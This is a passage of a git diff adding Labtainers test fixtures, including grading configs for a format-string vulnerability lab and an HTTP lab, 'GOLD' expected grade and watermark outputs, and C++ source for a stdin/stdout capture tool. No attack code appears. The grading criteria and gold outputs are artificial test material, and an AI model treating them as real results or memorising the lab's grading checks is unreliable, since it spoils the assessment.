a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/results.config new file mode 100644 index 000000000..7a22d962d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00011/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +vulprog_arg = vul_prog.stdin : PARAM : what diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/about.txt new file mode 100644 index 000000000..355d3be73 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/about.txt @@ -0,0 +1 @@ +Check results.config - on a multiple containers lab, must have a container name -- see other entry in results.config diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/expected.log new file mode 100644 index 000000000..d402c58c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/expected.log @@ -0,0 +1 @@ +[2017-11-16 13:16:48,897 - ERROR : ResultParser.py:137 - ValidateConfigf() ] No container name found in multi container lab entry (getindexhtml = /var/log/myhttplogfile.txt : CONTAINS : GET /index.html) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/goals.config new file mode 100644 index 000000000..817440d2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/goals.config @@ -0,0 +1,10 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for http lab + +get_index_ok = matchany : string_equal : getindexhtml : answer=True +get_link1_ok = matchany : string_equal : getlink1html : answer=True +get_link2_ok = matchany : string_equal : getlink2html : answer=True + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/labname new file mode 100644 index 000000000..1d70e86d0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/labname @@ -0,0 +1 @@ +httplab diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/parameter.config new file mode 100644 index 000000000..800d388c8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for http lab +HTTPSERVERLINK1 : HASH_REPLACE : server:/home/ubuntu/link1.html : HTTP_SECRET : myhttpsecretubuntufile +HTTPSERVERLINK2 : HASH_REPLACE : server:/home/ubuntu/link2.html : HTTP_SECRET : myhttpsecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/results.config new file mode 100644 index 000000000..6cee51e1c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/results_check_00012/results.config @@ -0,0 +1,10 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for http lab + +getindexhtml = /var/log/myhttplogfile.txt : CONTAINS : GET /index.html +getlink1html = server:/var/log/myhttplogfile.txt : CONTAINS : GET /link1.html +getlink2html = server:/var/log/myhttplogfile.txt : CONTAINS : GET /link2.html + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/httplab.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/httplab.grades.json new file mode 100644 index 000000000..07c27332c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/httplab.grades.json @@ -0,0 +1,44 @@ +{ + "jkhosali_at_nps.edu.httplab": { + "actualwatermark": "c26ec506f0f2f0d61f201fe0acf537dd", + "parameter": { + "HTTPSERVERLINK1": "c78dd16bbdbaeb799b2e41ddcad36f51", + "HTTPSERVERLINK2": "c78dd16bbdbaeb799b2e41ddcad36f51" + }, + "expectedwatermark": "c26ec506f0f2f0d61f201fe0acf537dd", + "grades": { + "get_index_ok": true, + "get_link1_ok": true, + "get_link2_ok": true, + "getindexhtml": true, + "getlink1html": true, + "getlink2html": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + }, + "testcopy_at_nps.edu.httplab": { + "actualwatermark": {}, + "parameter": {}, + "expectedwatermark": {}, + "grades": {}, + "firstlevelzip": "testcopy1_at_nps.edu.httplab", + "secondlevelzip": {} + }, + "testcopy2_at_nps.edu.httplab": { + "actualwatermark": "c26ec506f0f2f0d61f201fe0acf537dd", + "parameter": {}, + "expectedwatermark": "a18f8f5b4cfff8b3e541ad76f9a655b4", + "grades": {}, + "firstlevelzip": {}, + "secondlevelzip": {} + }, + "testcopy1_at_nps.edu.httplab": { + "actualwatermark": "c26ec506f0f2f0d61f201fe0acf537dd", + "parameter": {}, + "expectedwatermark": "a18f8f5b4cfff8b3e541ad76f9a655b4", + "grades": {}, + "firstlevelzip": {}, + "secondlevelzip": "testcopy2_at_nps.edu" + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/httplab.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/httplab.grades.txt new file mode 100644 index 000000000..dbb2ff757 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/httplab.grades.txt @@ -0,0 +1,18 @@ +Labname httplab + +Student | get_index_ok | get_link1_ok | get_link2_ok | getindexhtml | getlink1html | getlink2html | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | +jkhosali_at_nps.edu | Y | Y | Y | Y | Y | Y | +testcopy1_at_nps.edu | +testcopy2_at_nps.edu | +testcopy_at_nps.edu | +What is automatically assessed for this lab: + + + + +Student | Source +==================== |==================== +testcopy_at_nps.edu | testcopy1_at_nps.edu +testcopy2_at_nps.edu | jkhosali_at_nps.edu +testcopy1_at_nps.edu | testcopy2_at_nps.edu diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/jkhosali_at_nps.edu.httplab.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/jkhosali_at_nps.edu.httplab.zip new file mode 100644 index 000000000..50c9540c1 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/jkhosali_at_nps.edu.httplab.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/testcopy1_at_nps.edu.httplab.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/testcopy1_at_nps.edu.httplab.zip new file mode 100644 index 000000000..46f1ea3ac Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/testcopy1_at_nps.edu.httplab.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/testcopy2_at_nps.edu.httplab.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/testcopy2_at_nps.edu.httplab.zip new file mode 100644 index 000000000..6fd0c2435 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/testcopy2_at_nps.edu.httplab.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/testcopy_at_nps.edu.httplab.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/testcopy_at_nps.edu.httplab.zip new file mode 100644 index 000000000..b8411b2e4 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/watermark/httplab/GOLD/testcopy_at_nps.edu.httplab.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/capinout/capinout.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/capinout/capinout.odg new file mode 100644 index 000000000..8ed1dfd6a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/capinout/capinout.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/capinout/mkit.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/capinout/mkit.sh new file mode 100755 index 000000000..da13a3ed0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/capinout/mkit.sh @@ -0,0 +1,3 @@ +g++ mypty2.cpp -o capinout -static-libstdc++ +cp capinout ../../scripts/labtainer-student/lab_sys/sbin/ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/capinout/mypty2.cpp b/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/capinout/mypty2.cpp new file mode 100644 index 000000000..dd9dd5486 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/capinout/mypty2.cpp @@ -0,0 +1,947 @@ +/* +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +*/ + +/* +Capture stdin and stdout of selected programs into timestamped files. +Input arguments include: + -- A command line, potentially including a pipe and redirection. + -- An indication of which command within a piped stream is to be + monitored. 0: there are no pipes + 1: left side of pipe + 2: right side of pipe + -- A timestampe string + -- The full path to the command (used to determine if /etc/init.d + programs are invoked.) +The program also detects use of systemctl, service and /etc/init.d to +monitor services. + +When the command line indicates that the program to be monitored is +will use the terminal, a pty is created and used by a master to catch +and record stdin & stdout. If the program to be monitored is to the +right of a pipe, then pipes are used so that the pipe used by the +program to get its stdin can be closed without also closing the pipe +it uses for its stdout. + +Derived from samples found at http://rachid.koucha.free.fr/tech_corner/pty_pdip.html +*/ +#define _XOPEN_SOURCE 600 +#include +#include +#include +#include +#include +#include +#define __USE_BSD +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +FILE *debug; +int fdm_in; // master writes to this to provide cmd stdin +int fdm_out; // master reads from this to get stdout of the cmd +int stdout_fd, stdin_fd; +int master_pipe_stdin[2]; +int master_pipe_stdout[2]; +int cmd_pid = 0; +int left_pid = 0; +int right_pid = 0; +int master_stdin = 0; // master reads its stdin from here +int master_stdout = 1; // master writes its stdout here +int the_redirect_fd = -1; +int fds_in, fds_out; +int count_index = 1; +int ts_index = 2; +int cmd_path_index = 3; +bool ctrl_c_hack = false; +struct termios orig_termios; +struct termios latest_termios; +bool use_pty = false; + +sigset_t mysigset, oldset; + +char *trim(char *str) +{ + int tmp_trim = strlen(str)-1; + while(tmp_trim >= 0 && str[tmp_trim] == ' '){ + str[tmp_trim] = 0; + tmp_trim--; + } + while(str[0] == ' '){ + str++; + if(*str == 0){ + return str; + } + } + return str; +} +enum STR2INT_ERROR { SUCCESS, OVERFLOW, UNDERFLOW, INCONVERTIBLE }; + +STR2INT_ERROR str2int (int &i, char const *s, int base = 0) +{ + char *end; + long l; + errno = 0; + l = strtol(s, &end, base); + if ((errno == ERANGE && l == LONG_MAX) || l > INT_MAX) { + return OVERFLOW; + } + if ((errno == ERANGE && l == LONG_MIN) || l < INT_MIN) { + return UNDERFLOW; + } + if (*s == '\0' || *end != '\0') { + return INCONVERTIBLE; + } + i = l; + return SUCCESS; +} +char *convert(const std::string & s) +{ + char *pc = new char[s.size()+1]; + std::strcpy(pc, s.c_str()); + return pc; +} +using namespace std; + +vector split(const char *str, char c = ' ') +{ + vector result; + + do + { + const char *begin = str; + + while(*str != c && *str) + str++; + + result.push_back(string(begin, str)); + } while (0 != *str++); + + return result; +} +std::string join( const std::vector& elements, const char* const separator) +{ + switch (elements.size()) + { + case 0: + return ""; + case 1: + return elements[0]; + default: + std::ostringstream os; + std::copy(elements.begin(), elements.end()-1, std::ostream_iterator(os, separator)); + os << *elements.rbegin(); + return os.str(); + } +} +int getMaster() +{ + int rc; + int fdm = posix_openpt(O_RDWR); + if (fdm < 0) + { + fprintf(stderr, "Error %d on posix_openpt()\n", errno); + return -1; + } + + rc = grantpt(fdm); + if (rc != 0) + { + fprintf(stderr, "Error %d on grantpt()\n", errno); + return -1; + } + + rc = unlockpt(fdm); + if (rc != 0) + { + fprintf(stderr, "Error %d on unlockpt()\n", errno); + return -1; + } + return fdm; +} +char **getCharFromVector(std::vector sv) +{ + std::vector vc; + std::transform(sv.begin(), sv.end(), std::back_inserter(vc), convert); + char **my_args = (char **)malloc(sizeof(char *) * (vc.size()+1)); + for(int i=0; i cmd_v = split(cmd_args); + char **cmd_args_array = getCharFromVector(cmd_v); + char **my_args = (char **)malloc(sizeof(char *) * (cmd_v.size()+2)); + fprintf(debug, "cmd size is %d\n", cmd_v.size()); + my_args[0] = "/sbin/exec_wrap.sh"; + for(int i=1; i left_args = split(cmd); + close(fdm_in); + close(fdm_out); + // child map pipe to stdout + close(1); + dup2(pipe_fd[1], 1); + close(pipe_fd[1]); + close(pipe_fd[0]); + char **my_args = getExecCmdArgs(cmd); + fprintf(debug, "fork left now exec with [0] %s [1] %s \n", my_args[0], my_args[1]); + fflush(debug); + int rc = execvp(my_args[0], &my_args[0]); + /* would be error if we get here */ + fprintf(debug, "execvp error rc is %d errno %d\n", rc, errno); + }else{ + // parent. master should read stdin from pipe + close(pipe_fd[1]); + } + fflush(debug); + return retval; +} +int forkRight(int *pipe_fd, char *cmd){ + /* + For use when monitored command is on left side of pipe. + */ + int retval = fork(); + + if (retval == 0){ + // child + // close master fds + close(fdm_in); + close(fdm_out); + // map pipe to stdin + close(STDIN_FILENO); + dup2(pipe_fd[0], STDIN_FILENO); + close(pipe_fd[0]); + close(pipe_fd[1]); + char **my_args = getExecCmdArgs(cmd); + fprintf(debug, "fork right now exec with [0] %s [1] %s \n", my_args[0], my_args[1]); + fflush(debug); + int rc = execvp(my_args[0], &my_args[0]); + /* would be error if we get here */ + fprintf(debug, "execvp error rc is %d errno %d\n", rc, errno); + }else{ + fprintf(debug, "forkRight, in parent, close unused pipe\n"); + // parent. master should write stdout to pipe + // close unused read side + close(pipe_fd[0]); + } + fflush(debug); + return retval; +} +int handleRedirect(char *redirect_filename, char *append_filename){ + /* redirect stdout if needed */ + int retval = -1; + if(redirect_filename != NULL){ + int redirect_fd = open(redirect_filename, O_RDWR | O_CREAT, 0644); + if(redirect_fd < 0){ + fprintf(debug, "could not open redirect file %s\n", redirect_filename); + return -1; + } + close(1); + dup2(redirect_fd, 1); + //close(redirect_fd); + fprintf(debug, "redirect stdout to %s fd: %d\n", redirect_filename, redirect_fd); + retval = redirect_fd; + }else if(append_filename != NULL){ + int append_fd = open(append_filename, O_RDWR | O_APPEND); + if(append_fd < 0){ + append_fd = open(append_filename, O_RDWR | O_CREAT, 0644); + if(append_fd < 0){ + fprintf(stderr, "could not open append file %s\n", append_filename); + return -1; + } + } + close(1); + dup2(append_fd, 1); + retval = append_fd; + //close(append_fd); + }else{ + fprintf(debug, "No redirect\n"); + } + return retval; +} +bool termsEqual(const struct termios one, const struct termios two) +{ + if(one.c_iflag != two.c_iflag || one.c_oflag != two.c_oflag || one.c_lflag != two.c_lflag) + { + return false; + }else{ + return true; + } +} +int closeUpShop(){ + time_t rawtime; + struct tm * timeinfo; + char buffer [80]; + time (&rawtime); + timeinfo = localtime (&rawtime); + strftime (buffer,80,"PROGRAM:FINISH %Y%m%d%H%M%S",timeinfo); + write(stdin_fd, buffer, strlen(buffer)); + write(stdout_fd, buffer, strlen(buffer)); + close(stdout_fd); + close(stdin_fd); + close(master_stdout); + if(the_redirect_fd > 0){ + close(the_redirect_fd); + } + tcsetattr (0, TCSANOW, &orig_termios); +} +void waitRightDie() +{ + int status; + int cpid; + while((cpid=wait(&status)) != right_pid){ + fprintf(debug, "wait for right to die, got cpid of %d, status %d\n", cpid, status); + fflush(debug); + sleep(1); + } + fprintf(debug, "right side finished\n"); + fflush(debug); +} + +int ioLoop() +{ + char input[150]; + fd_set fd_in; + int rc; + int tmp_count = 0; + char eot = 0x04; + struct termios attr; + struct timespec tv; + tv.tv_sec = 0; + tv.tv_nsec = 3000000; + //tv.tv_nsec = 0; + while (1) + { + int stat; + //if(use_pty && cmd_pid != 0){ + if(cmd_pid != 0){ + int wait_cmd = waitpid(cmd_pid, &stat, WNOHANG); + //fprintf(debug, "cmd_pid: %d wait_cmd got %d stat %d\n", cmd_pid, wait_cmd, stat); + if(wait_cmd == cmd_pid) + { + fprintf(debug, "MATCHED, cmd_pid gone \n"); + /* See if death rattle on stdout */ + int flags = fcntl(fdm_out, F_GETFL, 0); + fcntl(fdm_out, F_SETFL, flags | O_NONBLOCK); + rc = read(fdm_out, input, sizeof(input)); + if (rc > 0) { + // Send data on the master side of PTY + //input[rc] = 0; + fprintf(debug, "deathbed read master_stdin [%s]\n", input); + input[rc] = 0; + char *tmp = input; + if(tmp[0] == '^' && tmp[1] == 'C' && ctrl_c_hack){ + fprintf(debug, "hack the control c\n"); + ctrl_c_hack = false; + tmp = tmp+2; + } + // Send data on standard output + int wc = write(master_stdout, tmp, rc); + if(wc != rc){ + fprintf(debug,"write to fdm_in only wrote %d, expected %d\n", wc, rc); + fflush(debug); + } + write(stdout_fd, tmp, rc); + } + if(use_pty){ + close(fds_in); + } + if(master_stdout != 1){ + close(master_stdout); + fprintf(debug,"closed master_stdout\n"); + fflush(debug); + } + cmd_pid = 0; + if(right_pid != 0){ + waitRightDie(); + } + closeUpShop(); + fprintf(debug, "closed up, now return\n"); + fflush(debug); + close(0); + close(1); + return 0; + } + } + if(left_pid != 0){ + int wait_left = waitpid(left_pid, &stat, WNOHANG); + //fprintf(debug, "left_pid: %d wait_left got %d stat %d\n", left_pid, wait_left, stat); + if(wait_left == left_pid) + { + fprintf(debug, "MATCHED wait_left\n"); + left_pid = 0; + //if(right_pid == 0){ + // fprintf(debug, "nothing on right, close fdm_in\n"); + // } + fprintf(debug, "close fdm_in\n"); + char crap[] = "this is the end"; + char etx = 0x03; + write(fdm_in, crap, 9); + write(fdm_in, &etx, 1); + close(fdm_in); + master_stdin = -1; + } + tmp_count++; + //if(tmp_count > 100){ + // fprintf(debug, "too much, break\n"); + // break; + // } + } + // Wait for data from standard input and master side of PTY + FD_ZERO(&fd_in); + if(master_stdin >=0 ){ + FD_SET(master_stdin, &fd_in); + }else{ + fprintf(debug,"master_stdin closed, do not select on it\n"); + } + fflush(debug); + FD_SET(fdm_out, &fd_in); + int max_fd = max(fdm_out, master_stdin); + //fprintf(debug, "now select\n"); + fflush(debug); + int select_errno = 0; + //rc = select(max_fd + 1, &fd_in, NULL, NULL, &tv); + rc = pselect(max_fd + 1, &fd_in, NULL, NULL, &tv, &oldset); + if(rc != 0){ + //fprintf(debug, "select returns %d errno %d\n", rc, errno); + fflush(debug); + select_errno = errno; + } + tcgetattr(fds_in, &attr); + if(use_pty && !termsEqual(latest_termios, attr)) + { + fprintf(debug,"pty terminal settings changed, change ours\n"); + tcsetattr (0, TCSANOW, &attr); + latest_termios = attr; + fprintf(debug, "term iflag %d oflag %d cflag %d lflag %d\n", attr.c_iflag, attr.c_oflag, attr.c_cflag, attr.c_lflag); + } + if(rc < 0 && select_errno != 4) + { + fprintf(debug, "Error %d on select()\n", errno); + closeUpShop(); + exit(0); + + }else if(rc >= 0 || select_errno != 4){ + // If data on standard input + if (master_stdin >= 0 && FD_ISSET(master_stdin, &fd_in)) { + rc = read(master_stdin, input, sizeof(input)); + //fprintf(debug, "read master_stdin rc is %d\n", rc); + if (rc > 0) { + // Send data on the master side of PTY + //input[rc] = 0; + fprintf(debug, "read master_stdin [%s]\n", input); + int wc = write(fdm_in, input, rc); + if(wc != rc){ + fprintf(debug,"write to fdm_in only wrote %d, expected %d\n", wc, rc); + fflush(debug); + } + write(stdin_fd, input, rc); + } else { + if (rc < 0) { + fprintf(debug, "Error %d on read standard input\n", errno); + closeUpShop(); + exit(0); + }else{ + // got zero on master_stdin. pipe must be closed + // clse fdm_in + close(fdm_in); + close(master_stdin); + master_stdin = -1; + fprintf(debug, "close fdm_in and master_stdin\n"); + fflush(debug); + } + } + } + + // If data on master side of PTY + if (FD_ISSET(fdm_out, &fd_in)) + { + fflush(debug); + rc = read(fdm_out, input, sizeof(input)); + //fprintf(debug, "read fdm_out rc is %d\n", rc); + fflush(debug); + if (rc > 0) + { + input[rc] = 0; + char *tmp = input; + if(tmp[0] == '^' && tmp[1] == 'C' && ctrl_c_hack){ + fprintf(debug, "hack the control c\n"); + ctrl_c_hack = false; + tmp = tmp+2; + } + // Send data on standard output + int wc = write(master_stdout, tmp, rc); + if(wc != rc){ + fprintf(debug,"write to fdm_in only wrote %d, expected %d\n", wc, rc); + fflush(debug); + } + write(stdout_fd, tmp, rc); + //fprintf(debug, "fdm_out got [%s]\n", tmp); + fflush(debug); + } else { + if (rc <= 0) { + fprintf(debug, "Read zip (error %d) on read master PTY\n", errno); + fflush(debug); + //sleep(2); + close(master_stdout); + fprintf(debug, "closed master_stdout, wait for right side? pid %d\n", right_pid); + fflush(debug); + if(right_pid != 0){ + waitRightDie(); + } + closeUpShop(); + fprintf(debug, "closed up, now return\n"); + fflush(debug); + close(0); + close(1); + return 0; + } + //}else{ + // fprintf(debug,"read zero from fdm_out, assume pipe closed, and clean up\n"); + // closeUpShop(); + // exit(0); + //} + } + } + } + } // End while + return 0; +} +void sighandler(int signo) +{ + char etx = 0x03; + fprintf(debug,"capinout got signal %d\n", signo); + if(signo == SIGINT){ + fprintf(debug,"capinout got SIGINT\n"); + } + if(cmd_pid != 0){ + fprintf(debug, "write ctrl C to %d\n", cmd_pid); + write(fdm_in, &etx, 1); + ctrl_c_hack = true; + //kill(cmd_pid, signo); + } + if(left_pid != 0){ + fprintf(debug, "kill left\n"); + kill(left_pid, signo); + } + if(right_pid != 0){ + fprintf(debug, "kill right \n"); + kill(right_pid, signo); + } + fprintf(debug, "now do loop again\n"); + fflush(debug); + //signal(SIGINT, sighandler); + //ioLoop(); + return; +} +void getStdInOutFiles(std::vector cmd_args, std::vector all_args, std::string *stdinfile, std::string *stdoutfile) +{ + char *precmd_home = std::getenv("PRECMD_HOME"); + if(precmd_home == NULL || strlen(precmd_home) == 0){ + fprintf(stderr, "PRECMD_HOME not defined\n"); + exit(1); + } + std::string initd_prefix = "/etc/init.d"; + std::string time_stamp_in = ".stdin."+all_args[ts_index]; + std::string time_stamp_out = ".stdout."+all_args[ts_index]; + int prog_index = 0; + if(cmd_args[0] == "sudo"){ + //cout << "yep is sudo\n"; + prog_index = 1; + } + if(cmd_args[prog_index] == "systemctl"){ + // systemctl action program + fprintf(debug, "is systemctl\n"); + time_stamp_in = ".service"+time_stamp_in; + time_stamp_out = ".service"+time_stamp_out; + prog_index += 2; + }else if(cmd_args[prog_index] == "service"){ + // service program action + fprintf(debug, "is service\n"); + time_stamp_in = ".service"+time_stamp_in; + time_stamp_out = ".service"+time_stamp_out; + prog_index ++; + }else if(!all_args[cmd_path_index].compare(0, initd_prefix.size(), initd_prefix)){ + // /etc/init.d/program action + fprintf(debug, "is /etc/init.d\n"); + time_stamp_in = ".service"+time_stamp_in; + time_stamp_out = ".service"+time_stamp_out; + } + + const char *prog_char = cmd_args[prog_index].c_str(); + char *prog_base = basename((char *)prog_char); + + /* get stdin & stdout capture file names */ + std::string local_result = "/.local/result/"; + fprintf(debug, "prog_base is %s precmd_home is %s\n", prog_base, precmd_home); + *stdinfile = std::string(precmd_home) + local_result + std::string(prog_base) + time_stamp_in; + *stdoutfile = std::string(precmd_home) + local_result + std::string(prog_base) + time_stamp_out; + // cout << "stdinfile "+stdinfile+"\n"; +} +int strpos(char *in_string, char *find, int nth) +{ + fprintf(debug,"strpos find %d %s in %s\n", nth, find, in_string); + fflush(debug); + char *res = in_string; + for(int i = 1; i <= nth; i++) + { + res = strstr(res, find); + if (!res) + return -1; + else if(i != nth) + res++; + } + return res - in_string; +} +char *getPipeParts(char *cmd, char **left_side, char **right_side, int count) +{ + if(count == 0){ + return cmd; + } + /* + parse cmd for pipe grouping based on the given count. + */ + int nth_pipe = 1; + if(count > 2){ + nth_pipe = count -1; + } + int pipe_index = strpos(cmd, "|", nth_pipe); + if(pipe_index < 0) + { + fprintf(debug, "could not find %d pipes in %s\n", count, cmd); + exit(1); + } + + fprintf(debug, "getPipeParts cmd: %s pipe_index %d\n", cmd, pipe_index); + char *left = strdup(cmd); + left[pipe_index] = 0; + char *right = strdup(cmd+pipe_index+1); + right = trim(right); + left = trim(left); + if(count == 1){ + cmd = left; + *right_side = right; + fprintf(debug, "count is 1 cmd: [%s], right [%s]\n", cmd, right); + }else{ + cmd = right; + *left_side = left; + fprintf(debug, "cmd on right of pipe(s) left: [%s], cmd [%s]\n", *left_side, cmd); + char *pipe_str = strstr(cmd, "|"); + if(pipe_str != NULL){ + // pipe to the right of the cmd + pipe_index = pipe_str - cmd; + cmd = strdup(cmd); + cmd[pipe_index] = 0; + *right_side = cmd+pipe_index+1; + *right_side = trim(*right_side); + cmd = trim(cmd); + fprintf(debug, "pipe on right side of cmd: [%s], right [%s]\n", cmd, *right_side); + } + } + return cmd; +} + + +int main(int argc, char *argv[]) +{ + int pipe_left_fd[2]; + int pipe_right_fd[2]; + int rc; + std::string stdinfile; + std::string stdoutfile; + // Check arguments + if (argc <= ts_index) + { + fprintf(stderr, "Usage: %s cmd_line count timestamp\n", argv[0]); + exit(1); + } + char dbname[80]; + sprintf(dbname, "/tmp/capinout_%d_debug.out", geteuid()); + debug = fopen(dbname, "w"); + tcgetattr(0, &orig_termios); + + struct sigaction s; + s.sa_handler = sighandler; + sigemptyset(&s.sa_mask); + s.sa_flags = 0; + sigaction(SIGINT, &s, NULL); + sigemptyset(&mysigset); + sigaddset(&mysigset, SIGTERM); + sigprocmask(SIG_BLOCK, &mysigset, &oldset); + +// if(signal(SIGINT, sighandler) == SIG_ERR){ +// fprintf(stderr, "error setting SIGINT signal handler\n"); + // } + + std::string first_arg; + std::vector all_args; + if (argc > 1) { + first_arg = argv[1]; + all_args.assign(argv + 1, argv + argc); + } + + char *cmd = argv[1]; + /* look for redirect/append */ + char *append_filename = NULL; + char *redirect_filename = NULL; + char* append_str = strstr(argv[1],">>"); + bool redirect_stderr = false; + if(append_str != NULL) + { + int append_index = append_str - argv[1]; + cmd = strdup(argv[1]); + fprintf(debug, "now do append\n"); + fflush(debug); + fprintf(debug, "cmd %s append_index %d min1 %c\n", cmd, append_index, cmd[append_index-1]); + //fprintf(debug, "cmd %s append_index %d \n", cmd, append_index); + fflush(debug); + if(cmd[append_index-1] == '&'){ + fprintf(debug, "yep, include stderr\n"); + redirect_stderr = true; + cmd[append_index-1] = 0; + }else{ + cmd[append_index] = 0; + } + append_filename = argv[1]+append_index+2; + append_filename = trim(append_filename); + fprintf(debug, "append_filename x %s\n", append_filename); + }else{ + /* look for redirect */ + char* redirect_str = strstr(argv[1],">"); + if(redirect_str != NULL) + { + int redirect_index = redirect_str - argv[1]; + cmd = strdup(argv[1]); + if(cmd[redirect_index-1] == '&'){ + redirect_stderr = true; + cmd[redirect_index-1] = 0; + }else{ + cmd[redirect_index] = 0; + } + cmd[redirect_index] = 0; + redirect_filename = argv[1]+redirect_index+1; + redirect_filename = trim(redirect_filename); + fprintf(debug, "redirect_filename %s\n", redirect_filename); + } + } + // get vector of command args. + std::vector cmd_args; + const char *count_str = all_args[count_index].c_str(); + // count param from caller identifies cmd position among + // pipes (zero means no pipes). + int count; + rc = str2int(count, all_args[count_index].c_str()); + fprintf(debug, "count is %d\n", count); + + /* cmd should now be free of redirects. Look for pipes */ + fprintf(debug, "cmd now %s\n",cmd); + fflush(debug); + char *cmd_exec_args = NULL; + char *right_side = NULL; + char *left_side = NULL; + cmd = getPipeParts(cmd, &left_side, 